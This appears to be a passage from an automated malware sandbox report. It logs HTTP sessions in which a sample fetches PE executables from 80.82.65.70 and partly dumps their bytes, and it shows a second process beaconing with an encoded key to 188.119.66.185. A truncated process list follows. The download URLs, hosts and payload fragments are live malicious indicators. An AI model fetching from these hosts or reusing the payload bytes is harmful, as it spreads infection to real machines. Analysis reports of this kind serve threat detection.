                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146400928 CET1236INData Raw: 10 00 41 00 d4 01 10 00 49 00 d4 01 10 00 51 00 d4 01 10 00 59 00 d4 01 10 00 61 00 d4 01 15 00 69 00 d4 01 10 00 71 00 d4 01 10 00 79 00 d4 01 10 00 81 00 d4 01 06 00 2e 00 0b 00 29 00 2e 00 13 00 32 00 2e 00 1b 00 51 00 2e 00 23 00 5a 00 2e 00
                                                                                                                                                                                                                                    Data Ascii: AIQYaiqy.).2.Q.#Z.+k.3k.;k.CZ.Kq.Sk.[k.c.k.s<Module>mscorlibGuidAttributeDebuggableAttributeComV
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146436930 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 00 00 00 00 00 00 00 00 00 00 00 5f 43 6f 72 45 78 65 4d 61 69 6e 00 6d 73 63 6f 72 65 65 2e 64 6c 6c 00 00 00 00 00 ff 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                    Data Ascii: &_CorExeMainmscoree.dll% @
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:12.146472931 CET1162INData Raw: 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 38 00 08 00 01 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 31 00 2e 00 30 00 2e 00 30 00 2e 00 30 00 00 00 cc 43 00 00 ea 01 00 00 00 00 00 00
                                                                                                                                                                                                                                    Data Ascii: .0.0.08Assembly Version1.0.0.0C<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    2192.168.2.114986480.82.65.70806784C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:16.759825945 CET393OUTGET /files/download HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: C
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:18.094893932 CET204INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:48:17 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Length: 1
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                    Data Raw: 30
                                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    3192.168.2.114987580.82.65.70806784C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:21.276339054 CET392OUTGET /soft/download HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: d
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766161919 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:48:22 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Disposition: attachment; filename="dll";
                                                                                                                                                                                                                                    Content-Length: 242176
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                    Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                    Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}*:s(**2rp(;&*Vrprp*(*>}*(Co(D(E}(F(E(G&*>}*(Co(D}(F(E(H&*"*>}*R} { oo*{ *"}!*{!*}{#{op{,{ oo*{!oo*{*Bsu
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766302109 CET1236INData Raw: 00 00 0a 28 76 00 00 0a 2a 8a 02 7b 23 00 00 04 02 7b 23 00 00 04 6f 77 00 00 0a 02 6f 78 00 00 0a 28 2b 00 00 06 6f 79 00 00 0a 2a a6 02 7b 1f 00 00 04 2c 0e 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2b 0c 02 02 7b 21 00 00 04 6f 6f 00 00 0a 02 28 32
                                                                                                                                                                                                                                    Data Ascii: (v*{#{#owox(+oy*{,{ oo+{!oo(2*z,{",{"o/(z*((X[((X[((X[(q*~(-(-(***~to(3to*^(
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766335011 CET1236INData Raw: 0a 2a 1e 02 7b 52 00 00 04 2a 32 02 7b 63 00 00 04 6f f2 00 00 0a 2a 52 02 03 7d 55 00 00 04 02 7b 63 00 00 04 03 6f 6f 00 00 0a 2a 1e 02 7b 51 00 00 04 2a 22 02 03 7d 51 00 00 04 2a 32 02 7b 63 00 00 04 6f 77 00 00 0a 2a 7e 02 7b 63 00 00 04 03
                                                                                                                                                                                                                                    Data Ascii: *{R*2{co*R}U{coo*{Q*"}Q*2{cow*~{coy}]so*2{cos*N{cop(*2{dos*N{dop(*{V*R}Vs(*{W*R}Ws(*F{cot
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766345978 CET1236INData Raw: 02 03 7d 71 00 00 04 2a 1e 02 7b 72 00 00 04 2a 22 02 03 7d 72 00 00 04 2a 1e 02 28 30 01 00 0a 2a 1e 02 7b 73 00 00 04 2a 22 02 03 7d 73 00 00 04 2a 1e 02 7b 74 00 00 04 2a 22 02 03 7d 74 00 00 04 2a 1e 02 7b 75 00 00 04 2a 22 02 03 7d 75 00 00
                                                                                                                                                                                                                                    Data Ascii: }q*{r*"}r*(0*{s*"}s*{t*"}t*{u*"}u*N(((*(*z,{v,{vo/(*(5*"}x*N{o9o<&*{|*f}|{{|o*2{o?*{o9(
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766442060 CET1236INData Raw: 0a 02 02 fe 06 5d 01 00 06 73 89 00 00 0a 28 95 00 00 0a 02 16 28 97 00 00 0a 2a e6 02 72 a8 0f 00 70 7d 9f 00 00 04 02 72 a8 0f 00 70 7d a1 00 00 04 02 72 a8 0f 00 70 7d a2 00 00 04 02 72 a8 0f 00 70 7d a3 00 00 04 02 28 18 01 00 0a 02 28 81 01
                                                                                                                                                                                                                                    Data Ascii: ]s((*rp}rp}rp}rp}((*{*{*{*"}*{*"}*{*(dt%r2poeoftog*z,{,{o/(*rp}rp}sm}
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766453981 CET1236INData Raw: 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 1e 02 7b cd 00 00 04 2a 76 03 16 30 0b 72 10 16 00 70 73 41 01 00 0a 7a 02 03 7d cd 00 00 04 02 28 da 01 00 06 2a 1e 02 7b ce 00 00 04 2a 76 02 03 7d ce 00 00 04 02 28 db 00 00 0a 2c 07 02 03 7d d1 00 00
                                                                                                                                                                                                                                    Data Ascii: o/(z*{*v0rpsAz}(*{*v}(,}(*{*:}(*{*:}(*({o{ZX/{o{ZX((*J{ooo*J{oxo*2{
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766465902 CET1236INData Raw: 7d 03 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 04 01 00 04 2a 3a 02 03 7d 04 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 05 01 00 04 2a 3a 02 03 7d 05 01 00 04 02 28 6d 02 00 06 2a 1e 02 7b 06 01 00 04 2a 3a 02 03 7d 06 01 00 04 02 28 6d 02 00 06 2a 1e
                                                                                                                                                                                                                                    Data Ascii: }(m*{*:}(m*{*:}(m*{*:}(m*{*{*:}(m*{*:}(m*{*:}(m*{*:}(m*{*2{o*^{{oo*:}(m*:
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766608000 CET1236INData Raw: 02 7b 2b 01 00 04 03 6f 6f 00 00 0a 2a 32 02 7b 2b 01 00 04 6f f2 00 00 0a 2a 7a 03 2c 13 02 7b 2a 01 00 04 2c 0b 02 7b 2a 01 00 04 6f 2f 00 00 0a 02 03 28 7a 00 00 0a 2a 0a 16 2a 36 02 28 26 00 00 0a 02 28 dd 02 00 06 2a 52 02 28 26 00 00 0a 03
                                                                                                                                                                                                                                    Data Ascii: {+oo*2{+o*z,{*,{*o/(z**6(&(*R(&o(*z,{-,{-o/(*2s}-*}6{=ob-{=o\*rTp(;&*z,{<,{<o/(z*:{0ot*:{/ot
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766629934 CET1236INData Raw: 00 06 28 39 00 00 0a 2a 56 72 52 1d 00 70 72 96 1d 00 70 72 ac 1d 00 70 28 41 03 00 06 2a 56 72 a8 0f 00 70 80 5d 01 00 04 7e d8 01 00 0a 80 5e 01 00 04 2a 3e 02 fe 15 39 00 00 02 02 03 7d 5f 01 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00
                                                                                                                                                                                                                                    Data Ascii: (9*VrRprprp(A*Vrp]~^*>9}_*(Co(D(E}_(F(E(&*>:}d*(Co(D}d(F(E(&*";*><}n*{u*"}u*{v*"}v*{w*"
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.766643047 CET556INData Raw: 01 00 04 2c 0e 02 7b 99 01 00 04 02 04 6f 23 02 00 0a 2a 04 17 6f 14 04 00 06 2a 8a 02 7b a6 01 00 04 03 6f 28 02 00 0a 2c 12 02 7b a6 01 00 04 03 6f 29 02 00 0a 6f 2c 04 00 06 2a 16 2a 2a 03 75 10 00 00 01 14 fe 03 2a 1e 02 7b aa 01 00 04 2a 22
                                                                                                                                                                                                                                    Data Ascii: ,{o#*o*{o(,{o)o,***u*{*"}*{*J{{(*F(uNoK*J(uNoL*F(uNoM*J(uNoN*{*"}*{*"}*{*"}*
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:22.886158943 CET1236INData Raw: 02 03 7d d1 01 00 04 2a 1e 02 7b d2 01 00 04 2a 22 02 03 7d d2 01 00 04 2a 1e 02 7b d3 01 00 04 2a 22 02 03 7d d3 01 00 04 2a 1e 02 7b d4 01 00 04 2a 22 02 03 7d d4 01 00 04 2a 1e 02 7b d5 01 00 04 2a 22 02 03 7d d5 01 00 04 2a 1e 02 7b d6 01 00
                                                                                                                                                                                                                                    Data Ascii: }*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}*{*"}


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    4192.168.2.114988280.82.65.70806784C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.738234997 CET392OUTGET /soft/download HTTP/1.1
                                                                                                                                                                                                                                    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                                                                                                                                                                                                    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                                                                                                                                                                                                    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                                                                                                                                                                                                    Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                                                                                                                                                                                                    User-Agent: s
                                                                                                                                                                                                                                    Host: 80.82.65.70
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319658041 CET1236INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:48:24 GMT
                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                                                                                                                    Content-Disposition: attachment; filename="soft";
                                                                                                                                                                                                                                    Content-Length: 1502720
                                                                                                                                                                                                                                    Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                    Content-Type: application/octet-stream
                                                                                                                                                                                                                                    Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                                                                                                                                                                                                                                    Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU (*(*~-rp(os~*~**j(r=p~ot*j(rMp~ot*j(rp~ot*j(rp~ot*j(rp~ot*j(rp~ot*j(rp~ot*~*(*Vs(t*N(((*0f(8Mo9:oo-
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319680929 CET1236INData Raw: 61 02 7b 11 00 00 04 1b 8d 3c 00 00 01 25 16 09 6f 1f 00 00 0a a2 25 17 72 2f 01 00 70 a2 25 18 11 05 28 12 00 00 06 a2 25 19 72 33 01 00 70 a2 25 1a 11 04 28 12 00 00 06 a2 28 20 00 00 0a 6f 21 00 00 0a 02 7b 12 00 00 04 11 05 1f 64 6a 5a 11 04
                                                                                                                                                                                                                                    Data Ascii: a{<%o%r/p%(%r3p%(( o!{djZ[("o#83^{<%o%r/p%(%r3p%(( o!{djZ[("o#+`3\{<%o%r/p%(%r3
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319693089 CET1236INData Raw: 7b 17 00 00 04 19 6f 48 00 00 0a 02 7b 17 00 00 04 16 6f 49 00 00 0a 02 7b 17 00 00 04 72 1d 02 00 70 6f 4a 00 00 0a 02 7b 17 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 17 00 00 04 28 4d 00 00 0a 6f 4e 00 00 0a 02 7b 17 00 00 04 72 35 02 00 70
                                                                                                                                                                                                                                    Data Ascii: {oH{oI{rpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rKpoRtPoS{oT{oU{oV{oW{oX{oY{#oZ{o
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319710970 CET1236INData Raw: 45 00 00 0a 02 7b 08 00 00 04 72 39 03 00 70 6f 21 00 00 0a 02 7b 09 00 00 04 28 46 00 00 0a 6f 47 00 00 0a 02 7b 09 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 09 00 00 04 19 6f 48 00 00 0a 02 7b 09 00 00 04 16 6f 49 00 00 0a 02 7b 09 00 00 04
                                                                                                                                                                                                                                    Data Ascii: E{r9po!{(FoG{(<o9{oH{oI{rqpoJ{(KoL{(MoN{r5p"AsOoP{(<oQ{rypoRtPoS{oT{oU{oV{oW
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319828033 CET1236INData Raw: 7b 0b 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 0b 00 00 04 72 47 04 00 70 6f 42 00 00 0a 02 7b 0b 00 00 04 20 2c 05 00 00 20 81 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0b 00 00 04 1e 6f 45 00 00 0a 02 7b 0b 00 00 04 02 fe 06
                                                                                                                                                                                                                                    Data Ascii: {s@oA{rGpoB{ , sCoD{oE{skol{oi{rUp"@AsOoP{Es>o?{s@oA{rwpoB{ #sCoD{oE{rpo!
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319840908 CET1236INData Raw: 0f 00 00 04 28 76 00 00 0a 6f 77 00 00 0a 02 7b 0f 00 00 04 20 67 02 00 00 1f 34 73 43 00 00 0a 6f 44 00 00 0a 02 7b 0f 00 00 04 1f 0d 6f 45 00 00 0a 02 7b 0f 00 00 04 16 6f 23 00 00 0a 02 7b 14 00 00 04 17 6f 69 00 00 0a 02 7b 14 00 00 04 72 35
                                                                                                                                                                                                                                    Data Ascii: (vow{ g4sCoD{oE{o#{oi{r5p"dAsOoP{ s>o?{s@oA{rpoB{ *sCoD{oE{r-po!{(so9{ot
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319853067 CET1236INData Raw: 02 7b 1a 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 1a 00 00 04 72 21 07 00 70 6f 42 00 00 0a 02 7b 1a 00 00 04 20 25 01 00 00 20 ee 00 00 00 73 43 00 00 0a 6f 44 00 00 0a 02 7b 1a 00 00 04 1a 6f 6f 00 00 0a 02 7b 1a 00 00 04 1b 6f
                                                                                                                                                                                                                                    Data Ascii: {s@oA{r!poB{ % sCoD{oo{op{oq{or{sgoh"A"As(( WsC((:{o;(:{o;(:{o;(
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319865942 CET1236INData Raw: 0a 6f 4c 00 00 0a 02 7b 1f 00 00 04 06 72 b5 04 00 70 6f 52 00 00 0a 74 50 00 00 01 6f 6d 00 00 0a 02 7b 1f 00 00 04 14 6f 6e 00 00 0a 02 7b 1f 00 00 04 20 71 04 00 00 1f 12 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 1f 00 00 04 1a 1b 1a 1b 73 40 00 00
                                                                                                                                                                                                                                    Data Ascii: oL{rpoRtPom{on{ qs>o?{s@oA{rpoB{Q?sCoD{oo{op{oq{or{ sgoh{ oi{ rUp"AsOoP{
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.319989920 CET1236INData Raw: 23 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 23 00 00 04 19 6f 48 00 00 0a 02 7b 23 00 00 04 16 6f 49 00 00 0a 02 7b 23 00 00 04 72 a7 02 00 70 6f 4a 00 00 0a 02 7b 23 00 00 04 28 4b 00 00 0a 6f 4c 00 00 0a 02 7b 23 00 00 04 28 4d 00 00 0a 6f
                                                                                                                                                                                                                                    Data Ascii: #(<o9{#oH{#oI{#rpoJ{#(KoL{#(MoN{#r5p"AsOoP{#(<oQ{#rpoRtPoS{#oT{#oU{#oV{#oW{#oX{#oY{##
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.320002079 CET1236INData Raw: 00 04 02 fe 06 24 00 00 06 73 67 00 00 0a 6f 68 00 00 0a 02 7b 26 00 00 04 28 46 00 00 0a 6f 47 00 00 0a 02 7b 26 00 00 04 28 3c 00 00 0a 6f 39 00 00 0a 02 7b 26 00 00 04 19 6f 48 00 00 0a 02 7b 26 00 00 04 16 6f 49 00 00 0a 02 7b 26 00 00 04 72
                                                                                                                                                                                                                                    Data Ascii: $sgoh{&(FoG{&(<o9{&oH{&oI{&rSpoJ{&(KoL{&(MoN{&r5p"AsOoP{&(<oQ{&rpoRtPoS{&oT{&oU{&oV{&oW
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:25.439635038 CET1236INData Raw: 7b 2c 00 00 04 1f 20 20 6e 01 00 00 73 3e 00 00 0a 6f 3f 00 00 0a 02 7b 2c 00 00 04 1a 1b 1a 1b 73 40 00 00 0a 6f 41 00 00 0a 02 7b 2c 00 00 04 72 21 07 00 70 6f 42 00 00 0a 02 7b 2c 00 00 04 20 09 01 00 00 20 10 01 00 00 73 43 00 00 0a 6f 44 00
                                                                                                                                                                                                                                    Data Ascii: {, ns>o?{,s@oA{,r!poB{, sCoD{,oo{,op{,oq{,or{,&sgoh"A"As(( PsC((:{o;(:{"o;(:


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    0192.168.2.1149987188.119.66.1854437852C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-12-12 15:49:05 UTC283OUTGET /ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c3250aa15d605633775b0e650f7ba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda332511d6358c HTTP/1.1
                                                                                                                                                                                                                                    User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                                                                                                                                                                    Host: 188.119.66.185
                                                                                                                                                                                                                                    2024-12-12 15:49:06 UTC200INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:49:06 GMT
                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    X-Powered-By: PHP/7.4.33
                                                                                                                                                                                                                                    2024-12-12 15:49:06 UTC24INData Raw: 65 0d 0a 38 62 37 32 33 36 36 33 65 63 31 33 32 35 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                    Data Ascii: e8b723663ec13250


                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    1192.168.2.1149990188.119.66.1854437852C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-12-12 15:49:08 UTC283OUTGET /ai/?key=8f3f2b3ab942463b774fe6a0231e72eee7c4db7e40b82a8dcd6c946851e300888c3250aa15d605633775b0e650f7ba1e9c95b1c92975ccf55bc592fe5a818ece02a1b7e2984c57cad7021dda332511d6358c HTTP/1.1
                                                                                                                                                                                                                                    User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
                                                                                                                                                                                                                                    Host: 188.119.66.185
                                                                                                                                                                                                                                    2024-12-12 15:49:08 UTC200INHTTP/1.1 200 OK
                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                    Date: Thu, 12 Dec 2024 15:49:08 GMT
                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    X-Powered-By: PHP/7.4.33
                                                                                                                                                                                                                                    2024-12-12 15:49:08 UTC650INData Raw: 32 37 65 0d 0a 38 62 37 32 33 63 36 38 65 65 31 38 34 30 33 63 36 36 30 66 62 66 65 30 33 38 34 63 32 37 62 36 62 63 38 66 38 30 32 32 34 63 62 64 33 62 63 31 39 30 32 34 39 66 37 65 31 36 66 65 30 34 64 64 65 37 36 37 34 62 62 33 35 63 38 64 31 65 33 66 37 38 37 61 61 30 61 66 30 64 39 62 66 35 30 31 64 32 39 39 62 31 63 61 32 39 37 34 64 35 66 36 34 63 63 34 39 36 66 63 35 32 64 36 64 62 39 63 35 66 61 64 62 36 66 34 63 31 30 33 30 32 63 33 64 34 31 62 31 66 64 64 33 31 33 61 31 62 64 32 33 32 39 32 64 35 64 30 39 31 35 37 34 39 63 39 37 30 33 34 66 32 64 34 30 33 34 62 36 64 31 36 36 63 63 63 66 37 31 31 36 38 62 62 66 37 35 36 61 34 65 66 65 62 35 32 61 61 37 66 63 32 63 66 33 66 66 32 66 35 64 38 65 61 34 64 30 65 38 64 35 62 39 32 33 34 61 63 33 34
                                                                                                                                                                                                                                    Data Ascii: 27e8b723c68ee18403c660fbfe0384c27b6bc8f80224cbd3bc190249f7e16fe04dde7674bb35c8d1e3f787aa0af0d9bf501d299b1ca2974d5f64cc496fc52d6db9c5fadb6f4c10302c3d41b1fdd313a1bd23292d5d0915749c97034f2d4034b6d166cccf71168bbf756a4efeb52aa7fc2cf3ff2f5d8ea4d0e8d5b9234ac34


                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                    Target ID:0
                                                                                                                                                                                                                                    Start time:10:47:03
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                                                                                                                                                                                                                                    Imagebase:0x7ff68dea0000
                                                                                                                                                                                                                                    File size:55'320 bytes
                                                                                                                                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:1
                                                                                                                                                                                                                                    Start time:10:47:03
                                                                                                                                                                                                                                    Start date:12/12/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\SgrmBroker.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\SgrmBroker.exe
                                                                                                                                                                                                                                    Imagebase:0x7ff79e7f0000
                                                                                                                                                                                                                                    File size:329'504 bytes
                                                                                                                                                                                                                                    MD5 hash:3BA1A18A0DC30A0545E7765CB97D8E63
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                                    Target ID:2
                                                                                                                                                                                                                                    Start time:10:47:03
